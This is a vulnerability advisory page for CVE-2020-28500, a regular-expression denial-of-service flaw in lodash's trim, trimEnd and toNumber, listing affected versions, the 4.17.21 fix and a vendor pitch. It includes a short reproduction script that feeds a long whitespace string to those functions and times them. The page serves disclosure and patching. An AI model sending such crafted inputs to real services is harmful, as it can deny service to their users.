CVE-2020-28500

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2020-28500 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.17.21); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2020-28500? CVE-2020-28500 is a medium-severity uncontrolled resource consumption vulnerability in lodash (npm), affecting versions >= 4.0.0, < 4.17.21. It is fixed in 4.17.21. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2020-28500? CVE-2020-28500 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2020-28500?
   • lodash (npm) (versions >= 4.0.0, < 4.17.21)
   • lodash-es (npm) (versions >= 4.0.0, < 4.17.21)
   • lodash.trimend (npm) (versions >= 4.0.0, <= 4.5.1)
   • lodash.trim (npm) (versions >= 4.0.0, <= 4.5.1)
   • lodash-rails (rubygems) (versions >= 4.0.0, < 4.17.21)
4. Is there a fix for CVE-2020-28500? Yes. CVE-2020-28500 is fixed in 4.17.21. Upgrade to this version or later.
5. Is CVE-2020-28500 exploitable, and should I be worried? Whether CVE-2020-28500 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2020-28500 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2020-28500?
   • Upgrade lodash to 4.17.21 or later
   • Upgrade lodash-es to 4.17.21 or later
   • Upgrade lodash-rails to 4.17.21 or later